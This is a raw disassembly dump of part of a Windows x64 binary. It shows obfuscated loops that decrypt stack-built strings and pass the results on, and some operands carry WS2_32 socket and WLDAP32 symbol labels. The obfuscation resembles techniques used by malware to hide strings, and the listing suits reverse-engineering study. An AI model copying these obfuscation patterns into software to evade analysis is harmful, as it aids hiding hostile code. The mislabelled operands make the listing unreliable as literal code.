add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140152eac
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140152bd5
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140152eac
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140152bff
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140152dfd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140152c1c
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140152a68
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140152c39
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140152dc4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401529d5
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140152db0
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x740]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r10
jmp 0x140152d19
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x740]
jmp 0x14015287d
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140152870
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140152ebb
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140152dd6
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x140152d8a
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add r10, r15
jmp 0x140152dd6
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, r15
jmp 0x140152ebb
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x740], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140152e59
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140152eac
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x740]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14015234f
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015234c
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015233c
lea rdx, [rbp + 0x15982e8]
jmp 0x140152f28
lea rdx, [rbp + 0x16dc0a6]
jmp 0x140152f28
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0xd8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2410]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140152f5d
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2410]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2410]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2410]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xb50], 0xe3
mov byte [rbp + 0xb51], 0xad
mov byte [rbp + 0xb52], 0xec
mov byte [rbp + 0xb53], 0xab
mov byte [rbp + 0xb54], recv
mov byte [rbp + 0xb55], 0xa9
mov byte [rbp + 0xb56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb58], 0x3d
mov byte [rbp + 0xb59], __WSAFDIsSet
mov byte [rbp + 0xb5a], r13b
mov byte [rbp + 0xb5b], __WSAFDIsSet
mov byte [rbp + 0xb5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb5d], __WSAFDIsSet
mov byte [rbp + 0xb5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb5f], 0x9f
mov byte [rbp + 0xb60], 7
mov byte [rbp + 0xb61], 0x9d
mov byte [rbp + 0xb62], 5
mov byte [rbp + 0xb63], 0x9b
mov byte [rbp + 0xb64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb65], 0x99
mov byte [rbp + 0xb66], Ordinal_46
mov byte [rbp + 0xb67], 0x87
mov byte [rbp + 0xb68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb69], 0x85
mov byte [rbp + 0xb6a], Ordinal_217
mov byte [rbp + 0xb6b], 0x83
mov byte [rbp + 0xb6c], 0x3d
mov byte [rbp + 0xb6d], 0x81
mov byte [rbp + 0xb6e], Ordinal_50
mov byte [rbp + 0xb6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb70], Ordinal_46
mov byte [rbp + 0xb71], Ordinal_143
mov byte [rbp + 0xb72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb73], Ordinal_143
mov byte [rbp + 0xb74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb75], Ordinal_143
mov byte [rbp + 0xb76], 0x64
mov byte [rbp + 0xb77], 0xf7
mov byte [rbp + 0xb78], 0x5c
mov byte [rbp + 0xb79], 0xf5
mov byte [rbp + 0xb7a], 0x62
mov byte [rbp + 0xb7b], 0xf3
mov byte [rbp + 0xb7c], 0xaa
mov byte [rbp + 0xb7d], 0xf1
mov byte [rbp + 0xb7e], 0xa2
mov byte [rbp + 0xb7f], 0xff
mov byte [rbp + 0xb80], 0xae
mov byte [rbp + 0xb81], 0xfd
mov byte [rbp + 0xb82], 0x57
mov byte [rbp + 0xb83], 0xfb
mov byte [rbp + 0xb84], 0x60
mov byte [rbp + 0xb85], 0xf9
mov byte [rbp + 0xb86], Ordinal_79
mov byte [rbp + 0xb87], 0xe7
mov byte [rbp + 0xb88], 0xb6
mov byte [rbp + 0xb89], 0xe5
mov byte [rbp + 0xb8a], 0x77
mov byte [rbp + 0xb8b], 0xe3
mov byte [rbp + 0xb8c], 0x7d
mov byte [rbp + 0xb8d], 0xe1
mov byte [rbp + 0xb8e], 0x47
mov byte [rbp + 0xb8f], 0xef
mov byte [rbp + 0xb90], 0xec
mov byte [rbp + 0xb91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb92], xmm0
mov qword [rbp + 0xba2], rax
mov byte [rbp + 0xbaa], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140153d3d
movzx r8d, byte [rbp + r9 + 0xb50]
mov r11, r8
cmp rdi, r9
ja 0x140153d34
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401531df
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140153219
je 0x140153caf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140153c25
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140153bf0
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140153ba6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140153b7d
cmp r10, r9
ja 0x140153d2b
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14015323f
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140153426
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140153b39
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140153b19
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140153af6
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140153ad3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401537c0
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015379f
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015378b
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140153768
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140153746
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140153720
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401536fe
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401536ea
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401536c8
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401536b4
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140153280
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140153d09
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140153ce3
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140153460
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015343d
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140153417
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140153659
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401535fe
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401535b0
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015358e
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14015356d
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140153549
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140153526
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140153512
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401534f0
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401534ca
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401534a7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140153486
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140153280
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140153280
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153273
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140153219
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401531a8
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140153b55
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x140153b9b
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153b9e
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x140153bc4
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140153bff
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x140153c14
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140153c47
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140153aef
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x140153ccc
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x140153a71
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x140153b57
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 3
jae 0x140153a7e
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401539b7
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401535cd
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x140153aaa
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401538d6
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14015361f
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140153807
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140153c79
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140153832
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x140153c14
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153c11
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140153bc4
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140153b9e
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401538bf
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x140153b55
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401537ef
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153676
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015381e
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153ccc
cmp rdi, rcx
jne 0x140153849
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153c49
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140153878
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153bc4
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401538a3
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x140153b9e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140153676
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153b9b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140153903
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140153b55
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140153932
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153b9e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015395d
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140153c11
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140153988
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x140153c49
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015361f
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x140153ccc
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401539d4
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140153807
cmp rdi, rcx
jne 0x1401539fa
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x140153aef
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140153a25
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140153c11
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140153a42
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401538bf
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401535cd
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140153b57
mov byte [rbp + r9 + 0xb50], bl
jmp 0x140153cdb
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xb50]
add bl, r8b
jmp 0x140153bc2
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xb50]
sub bl, 0x5c
jmp 0x140153c47
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140153c79
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x140153c14
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140153b9e
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x140153b9b
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x140153cdb
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x140153c11
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140153cdb
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xb50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xb50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140153ccc
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xb50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140153195
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153192
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x140153182
lea rdx, [rbp + 0x16000c8]
jmp 0x140153d44
lea rdx, [rbp + 0x1026be2]
jmp 0x140153d44
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xf8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2520]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140153d79
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2520]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2520]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2520]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x520], Ordinal_60
mov byte [rbp + 0x521], Ordinal_143
mov byte [rbp + 0x522], 0x61
mov byte [rbp + 0x523], 0xf3
mov byte [rbp + 0x524], 0x5a
mov byte [rbp + 0x525], 0xf1
mov byte [rbp + 0x526], 0x62
mov byte [rbp + 0x527], 0xf7
mov byte [rbp + 0x528], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x529], 0xf5
mov byte [rbp + 0x52a], 0x5b
mov byte [rbp + 0x52b], 0xfb
mov byte [rbp + 0x52c], WSACleanup
mov byte [rbp + 0x52d], 0xf9
mov byte [rbp + 0x52e], 0x5b
mov byte [rbp + 0x52f], 0xff
mov byte [rbp + 0x530], r14b
mov byte [rbp + 0x531], 0xfd
mov byte [rbp + 0x532], 0x59
mov byte [rbp + 0x533], 0xe3
mov byte [rbp + 0x534], Ordinal_79
mov byte [rbp + 0x535], 0xe1
mov byte [rbp + 0x536], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x537], 0xe7
mov byte [rbp + 0x538], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x539], 0xe5
mov byte [rbp + 0x53a], 0x7f
mov byte [rbp + 0x53b], 0xeb
mov byte [rbp + 0x53c], 0x7a
mov byte [rbp + 0x53d], 0xe9
mov byte [rbp + 0x53e], Ordinal_79
mov byte [rbp + 0x53f], 0xef
mov byte [rbp + 0x540], 0x7a
mov byte [rbp + 0x541], 0xed
mov byte [rbp + 0x542], 0x88
mov byte [rbp + 0x543], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x544], 0x84
mov byte [rbp + 0x545], Ordinal_211
mov byte [rbp + 0x546], Ordinal_217
mov byte [rbp + 0x547], Ordinal_217
xor eax, eax
mov qword [rbp + 0x548], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x140154a54
movzx r8d, byte [rbp + r9 + 0x520]
mov rdx, r8
cmp rdi, r9
ja 0x140154a4b
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140153f36
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140153f7a
je 0x1401549ca
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140154945
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140154919
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401548ce
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015487d
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140154a42
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140153fa0
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401541b5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015486b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140154848
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140154822
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401547fc
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401547de
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401544d0
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401544af
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140154489
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140154466
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140154452
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015442f
lea rax, [r10 + 3]
